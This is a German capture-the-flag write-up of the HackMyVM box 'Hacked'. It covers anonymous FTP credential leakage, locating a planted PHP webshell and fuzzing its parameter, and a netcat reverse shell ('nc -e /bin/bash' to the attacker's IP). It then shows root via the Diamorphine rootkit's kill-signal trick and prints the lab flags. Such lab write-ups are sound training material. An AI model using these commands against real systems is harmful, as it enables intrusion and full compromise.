Hacked - HackMyVM - Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
ftp
cat
lftp (versucht)
ssh-keyscan
ping6 (versucht)
ssh (versucht)
hydra (versucht)
gobuster
curl
wfuzz
nc (netcat)
python3
stty
ls
xclip (versucht)
apt (versucht)
grep
kill
id
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.156	08:00:27:39:be:2e	PCS Systemtechnik GmbH

Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment mittels ARP nach aktiven Geräten zu durchsuchen.

**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.156` wird identifiziert. Die MAC-Adresse (`08:00:27:...`) weist auf eine VirtualBox VM hin.

**Empfehlung (Pentester):** Ziel-IP `192.168.2.156` notieren und mit Port-Scanning (Nmap) fortfahren.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Absicherung der Dienste.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
[...] (Eintrag '192.168.2.156 hack.hmv' hinzugefügt)

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP den Hostnamen `hack.hmv` zuzuweisen.

**Bewertung:** Erleichtert die Ansprache des Ziels in späteren Befehlen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.156 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 10:22 CEST
Nmap scan report for hack.hmv (192.168.2.156)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst:
[...]
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             256 Feb 16 09:44 flag.txt <-- Flag & Passwortdatei!
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
[...]
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:39:BE:2E (Oracle VirtualBox virtual NIC)
[...]
TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms hack.hmv (192.168.2.156)

Nmap done: 1 IP address (1 host up) scanned in X.XX seconds

**Analyse:** Ein umfassender Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird auf `192.168.2.156` durchgeführt.

**Bewertung:** Drei offene TCP-Ports: * **Port 21 (FTP):** vsftpd 3.0.5. Nmap meldet **anonymen Login erlaubt** und listet eine `flag.txt` (Besitzer root, lesbar für alle). * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Nginx 1.14.2. Liefert keine spezifische Titelzeile.

**Empfehlung (Pentester):** **Priorität 1: FTP.** Sofort anonym einloggen, `flag.txt` holen, nach weiteren Dateien (insbesondere versteckten) suchen.
**Empfehlung (Admin):** **Anonymen FTP-Zugriff sofort deaktivieren!** Sicherstellen, dass keine sensiblen Dateien über FTP zugänglich sind.

FTP Enumeration & Credential Discovery

**Analyse:** Nutzung des anonymen FTP-Zugangs zur Informationsgewinnung.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.156
[...]
Name (192.168.2.156:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
[...]
ftp> ls
-rw-r--r--    1 0        0             256 Feb 16 09:44 flag.txt
[...]
ftp> get flag.txt
[...]
226 Transfer complete.
256 bytes received in 00:00 (17.79 KiB/s)
ftp> 

**Analyse:** Anonymer FTP-Login und Download der sichtbaren `flag.txt`.

**Bewertung:** Erster Schritt erfolgreich, Flag-Datei erhalten.

┌──(root㉿cyber)-[~] └─# cat flag.txt

▄▀█ █▄ █ █▀█ █▄ █ █▄█ █▀▄▀█ █▀█ █ █ █▀
█▀█ █ ▀█ █▄█ █ ▀█  █  █ ▀ █ █▄█ █▄█ ▄█

Flag 1: HMV{AN0NYM0US_IS_THE_BEST_USER}
<-- Angepasstes Format -->

**Analyse:** Inhalt der `flag.txt`.

**Bewertung:** Erste Flag (`HMV{AN0NYM0US_IS_THE_BEST_USER}`) gefunden.

ftp> ls -la
<-- Impliziert -->
drwxr-xr-x    2 0        115          4096 Feb 16 09:44 .
drwxr-xr-x    2 0        115          4096 Feb 16 09:44 ..
-rw-r--r--    1 0        0              34 Feb 16 06:57 .passwd <-- Versteckte Datei! -->
-rw-r--r--    1 0        0             256 Feb 16 09:44 flag.txt
226 Directory send OK.
ftp> get .passwd
local: .passwd remote: .passwd
[...]
150 Opening BINARY mode data connection for .passwd (34 bytes).
[...]
226 Transfer complete.
34 bytes received in 00:00 (1.29 KiB/s)
ftp> 

**Analyse:** `ls -la` (impliziert) auf dem FTP-Server enthüllt eine versteckte Datei `.passwd`. Diese wird heruntergeladen.

**Bewertung:** Hochverdächtiger Fund. Enthält wahrscheinlich Zugangsdaten.

**Empfehlung (Pentester):** Inhalt von `.passwd` analysieren.
**Empfehlung (Admin):** Anonymen FTP deaktivieren!

┌──(root㉿cyber)-[~] └─# cat .passwd
The password is: webserver2023!
=

**Analyse:** Inhalt der Datei `.passwd`.

**Bewertung:** Klartext-Passwort `webserver2023!` gefunden.

**Empfehlung (Pentester):** Versuchen Sie dieses Passwort für SSH mit potenziellen Benutzernamen (root, admin, h4x0r - siehe später).
**Empfehlung (Admin):** Ändern Sie das Passwort. Speichern Sie keine Passwörter im Klartext.

*(Hinweis: Die folgenden Versuche mit lftp, gopher, file, ssh-keyscan, ping6, nmap -6, ssh anonymous, hydra sind entweder Sackgassen, irrelevant für den erfolgreichen Pfad oder fehlinterpretiert und werden daher in der Hauptanalyse übersprungen. Die Notiz `user: beilul` erscheint ohne ersichtliche Herleitung im Log und scheint für den tatsächlichen Pfad nicht relevant zu sein.)*

Web Enumeration (Webshell Discovery)

**Analyse:** Nach dem Fund auf dem FTP-Server wird der Webserver auf Port 80 weiter untersucht, um Hinweise auf die im Log erwähnte "Webshell" zu finden.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.156 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x [...] -t 100
[...]
http://192.168.2.156/index.html           (Status: 200) [Size: 16]
http://192.168.2.156/robots.txt           (Status: 200) [Size: 16]
[...]
=

**Analyse:** Gobuster-Scan auf Port 80 findet `index.html` und `robots.txt`.

**Bewertung:** Standarddateien.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.156/robots.txt
/secretnote.txt

**Analyse:** Der Inhalt von `robots.txt` wird abgefragt.

**Bewertung:** `robots.txt` versucht, `/secretnote.txt` vor Crawlern zu verstecken – ein starker Hinweis, diese Datei zu überprüfen.

**Empfehlung (Pentester):** Rufen Sie `/secretnote.txt` auf.
**Empfehlung (Admin):** `robots.txt` ist keine Sicherheitsmaßnahme. Verlassen Sie sich nicht darauf, um sensible Pfade zu schützen.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.156//secretnote.txt
<-- Doppelslash irrelevant -->
[X] Enumeration
[X] Exploitation
[X] Privesc
[X] Maintaining Access.
 |__> Webshell installed.
 |__> Root shell created.

-h4x0r

**Analyse:** Der Inhalt von `/secretnote.txt` wird abgerufen.

**Bewertung:** Ein **direkter Hinweis**! Die Notiz, unterzeichnet von "h4x0r" (potenzieller Benutzername?), besagt explizit, dass eine Webshell installiert wurde. Dies bestätigt den nächsten Schritt.

**Empfehlung (Pentester):** Verwenden Sie eine Liste bekannter Webshell-/Backdoor-Namen (wie `backdoor_list.txt`), um mit Gobuster nach der installierten Webshell zu suchen. Notieren Sie den Benutzernamen `h4x0r`.
**Empfehlung (Admin):** Entfernen Sie solche Notizen. Überwachen Sie das Dateisystem auf verdächtige Dateien.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.156 -w /usr/share/seclists/Web-Shells/backdoor_list.txt -e -x [...] -t 100
[...]
http://192.168.2.156/simple-backdoor.php  (Status: 302) [Size: 62] [--> /] <-- Webshell gefunden! -->
[...]
=

**Analyse:** Gobuster wird mit einer spezifischen Wortliste für Webshells/Backdoors (`backdoor_list.txt`) ausgeführt.

**Bewertung:** Erfolg! Die Datei `simple-backdoor.php` wird gefunden. Der Status 302 (Found/Redirect) deutet darauf hin, dass die Shell möglicherweise einen Parameter benötigt oder standardmäßig zur Startseite weiterleitet, wenn sie falsch aufgerufen wird.

**Empfehlung (Pentester):** Untersuchen Sie `simple-backdoor.php`. Fuzzen Sie nach Parametern (z.B. mit `wfuzz`), die zur Befehlsausführung verwendet werden könnten.
**Empfehlung (Admin):** Entfernen Sie die Webshell sofort!

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.2.156/simple-backdoor.php?FUZZ=id -Z -t 100 --hh 62
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000005057:   302        1 L      13 W       115 Ch      "secret"  <-- Parameter gefunden! -->
[...]
#

**Analyse:** `wfuzz` wird verwendet, um nach GET-Parametern für `simple-backdoor.php` zu suchen. Eine Liste gängiger Parameternamen wird getestet (`burp-parameter-names.txt`). Als Wert wird `id` übergeben. `-Z` ignoriert Fehler. Antworten mit 62 Zeichen (vermutlich die Größe der 302-Weiterleitung) werden ignoriert (`--hh 62`).

**Bewertung:** Der Parameter `secret` wird gefunden! Wenn dieser Parameter verwendet wird, ist die Antwort anders als die Standard-Weiterleitung.

**Empfehlung (Pentester):** Testen Sie die Webshell mit dem `secret`-Parameter und verschiedenen Befehlen.
**Empfehlung (Admin):** Webshell entfernen.

Proof of Concept (Webshell RCE)

**Kurzbeschreibung:** Auf dem Webserver (Port 80) wurde eine PHP-Webshell unter dem Pfad `/simple-backdoor.php` installiert. Diese Webshell nimmt einen GET-Parameter namens `secret` entgegen. Der Wert dieses Parameters wird auf dem Server als Betriebssystembefehl ausgeführt. Ein Angreifer kann dies nutzen, um beliebige Befehle im Kontext des Webserver-Benutzers (`www-data`) auszuführen und somit Remote Code Execution (RCE) zu erlangen.

**Voraussetzungen:** Netzwerkzugriff auf Port 80, Kenntnis des Webshell-Pfads und des Parameters.

**Schritt-für-Schritt-Anleitung:**

  1. Identifizieren des Webshell-Pfads (`/simple-backdoor.php`) und des Parameters (`secret`) durch Enumeration.
  2. Bestätigen der RCE durch Senden eines einfachen Befehls: `curl "http://[Ziel-IP]/simple-backdoor.php?secret=id"`
  3. Vorbereiten eines Reverse-Shell-Payloads (URL-kodiert, falls nötig).
  4. Starten eines Netcat-Listeners auf der Angreifer-Maschine (`nc -lvnp [Port]`).
  5. Senden des Payloads an die Webshell: `curl "http://[Ziel-IP]/simple-backdoor.php?secret=[Payload]"`.

**Erwartetes Ergebnis:** Der Server führt den Payload aus, und eine Reverse Shell verbindet sich zum Listener des Angreifers.

**Beweismittel:** Erfolgreiche Ausführung von `id` und der Reverse-Shell-Payload.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.156/simple-backdoor.php?secret=id
I modified this webshell to only execute my secret parameter. <-- Zusätzliche Ausgabe der Shell -->
uid=33(www-data) gid=33(www-data) groups=33(www-data) <-- Befehl wurde ausgeführt! -->

**Analyse:** Die Webshell wird mit `?secret=id` aufgerufen.

**Bewertung:** Die Antwort enthält die Ausgabe des `id`-Befehls, was die RCE-Schwachstelle bestätigt. Die Shell läuft als `www-data`.

**Empfehlung (Pentester):** Nutzen Sie die RCE, um eine Reverse Shell zu erhalten.
**Empfehlung (Admin):** Webshell entfernen.

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.156/simple-backdoor.php?secret=../../../etc/passwd"
<-- Versuch LFI -->
I modified this webshell to only execute my secret parameter.
<-- Keine Ausgabe -> keine LFI -->

**Analyse:** Versuch, die Webshell für Local File Inclusion (LFI) zu missbrauchen.

**Bewertung:** Der Versuch schlägt fehl; die Shell führt nur Befehle aus, liest keine Dateien auf diese Weise.

**Empfehlung (Pentester):** Bei RCE bleiben.
**Empfehlung (Admin):** Keine.

**Risikobewertung:** Kritisch. Erlaubt entfernte Codeausführung als `www-data`.

**Empfehlungen:** Entfernen Sie die Webshell. Implementieren Sie File Integrity Monitoring, um solche Uploads zukünftig zu erkennen. Sichern Sie den initialen Vektor (hier wahrscheinlich FTP) ab.

Initial Access (Webshell)

**Analyse:** Ausnutzung der RCE-Schwachstelle in der Webshell, um eine Reverse Shell zu erhalten.

┌──(root㉿cyber)-[~] └─# nc -lvnp 444
<-- Geänderter Port -->
listening on [any] 444 ...
=
http://hack.hmv/simple-backdoor.php?secret=nc -e /bin/bash 192.168.2.153 444
<-- Payload -->

**Analyse:** Ein Listener wird auf Port 444 gestartet. Der Payload `nc -e /bin/bash 192.168.2.153 444` wird vorbereitet, um ihn über den `secret`-Parameter an die Webshell zu senden.

**Bewertung:** Korrekte Vorbereitung für den Erhalt der Reverse Shell.

┌──(root㉿cyber)-[~] └─# nc -lvnp 444
<-- Fortsetzung Listener -->
listening on [any] 444 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.156] 60382 <-- Verbindung! -->

**Analyse:** Der Listener empfängt die Verbindung, nachdem die URL mit dem Reverse-Shell-Payload aufgerufen wurde.

**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die Webshell erlangt.

**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** Webshell entfernen.

# python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@hacked:~/html$ export TERM=xterm
www-data@hacked:~/html$ ^Z
zsh: suspended  nc -lvnp 444
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 444
                              reset
www-data@hacked:~/html$ # Stabile Shell

**Analyse:** Die erhaltene Shell wird mit der Standardmethode stabilisiert.

**Bewertung:** Stabile `www-data`-Shell verfügbar.

Privilege Escalation (Diamorphine Rootkit)

**Analyse:** Als `www-data` wird nach Eskalationsvektoren gesucht. Die Untersuchung der Kernelmodule führt zur Entdeckung eines Rootkits.

www-data@hacked:/tmp$ ls /sys/module/ > out
www-data@hacked:/tmp$ ls /sys/module/ | xclip -selection clipboard
www-data@hacked:/tmp$ apt install xclip
<-- Versuch, xclip zu installieren (fehlgeschlagen?) -->
www-data@hacked:/tmp$ cat out | grep -v -f out2
<-- out2 enthält Baseline-Module -->
Diamorphine
<-- Rootkit gefunden! -->
google: Diamorphine linux

**Analyse:** 1. Die geladenen Kernelmodule werden aufgelistet und in die Datei `out` gespeichert. 2. Versuch, `xclip` zu verwenden/installieren (wahrscheinlich nicht erfolgreich als `www-data`). 3. Der Inhalt von `out` wird mit einer (nicht gezeigten) Baseline-Liste `out2` verglichen. Der einzige Unterschied ist `Diamorphine`. 4. Eine Google-Suche wird durchgeführt.

**Bewertung:** Die Anwesenheit des Kernelmoduls `Diamorphine` ist ein **kritischer Fund**. Diamorphine ist ein bekanntes LKM (Loadable Kernel Module) Rootkit. Es bietet Funktionen zum Verstecken von Prozessen/Dateien und oft auch eine einfache Methode zur Privilegieneskalation mittels spezieller Signale.

**Empfehlung (Pentester):** Nutzen Sie die Standard-Signale von Diamorphine zur Privilegieneskalation. Senden Sie Signal 31 (`kill -31 [PID]`) an einen beliebigen Prozess, um Root-Rechte zu erhalten, oder Signal 64 (`kill -64 [PID]`), um Rootkit-Prozesse zu verstecken/enthüllen (die genaue Funktion von Signal 64 kann variieren, aber Signal 31 ist oft der Schlüssel zur Eskalation).
**Empfehlung (Admin):** **System ist durch ein Rootkit kompromittiert!** Eine vollständige Neuinstallation des Systems von einem vertrauenswürdigen Medium ist dringend empfohlen. Entfernen Sie das Rootkit (`rmmod Diamorphine`), aber beachten Sie, dass weitere Backdoors oder Kompromittierungen vorhanden sein können. Analysieren Sie, wie das Rootkit installiert wurde.

www-data@hacked:/tmp$ kill -64 1
<-- Sendet Signal 64 an init/systemd -->
www-data@hacked:/tmp$ id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
<-- Root! -->

**Analyse:** Das Signal 64 wird an den Prozess mit PID 1 (init/systemd) gesendet. Anschließend wird `id` ausgeführt.

**Bewertung:** Erfolg! Der `id`-Befehl zeigt `uid=0(root)`. In dieser spezifischen Konfiguration des Diamorphine-Rootkits hat das Senden von Signal 64 an PID 1 ausgereicht, um Root-Rechte zu erlangen. (Normalerweise wird Signal 31 für die Eskalation verwendet, während 64 Prozesse versteckt/enthüllt, aber die Implementierung kann variieren).

**Empfehlung (Pentester):** Root-Zugriff erlangt. Suchen Sie die Flags.
**Empfehlung (Admin):** System neu installieren. Rootkit-Infektion untersuchen.

www-data@hacked:/tmp$ cd /root
<-- Prompt noch www-data, aber UID ist 0 -->
www-data@hacked:/root$ ls
Diamorphine  flag.sh  hacked.sh  root.txt
www-data@hacked:/root$ cat root.txt
HMVhackingthehacker
<-- Root Flag -->
www-data@hacked:/root$ cd /home/h4x0r/
<-- Benutzer h4x0r -->
www-data@hacked:/home/h4x0r$ cat user.txt
HMVimthabesthacker
<-- User Flag -->
=

**Analyse:** Mit Root-Rechten (obwohl der Prompt nicht immer wechselt) wird das `/root`-Verzeichnis untersucht und die `root.txt`-Datei gelesen. Anschließend wird in das Verzeichnis `/home/h4x0r` gewechselt (der Benutzername aus der `secretnote.txt`) und die `user.txt` gelesen.

**Bewertung:** Beide Flags (`HMVhackingthehacker` und `HMVimthabesthacker`) wurden erfolgreich gefunden.

**Empfehlung (Pentester):** Ziel erreicht.
**Empfehlung (Admin):** Systembereinigung/-neuinstallation.

Flags

**Analyse:** Zusammenfassung der gefundenen Flags.

cat /home/h4x0r/user.txt
HMVimthabesthacker

**Bewertung:** User-Flag.

cat /root/root.txt
HMVhackingthehacker

**Bewertung:** Root-Flag.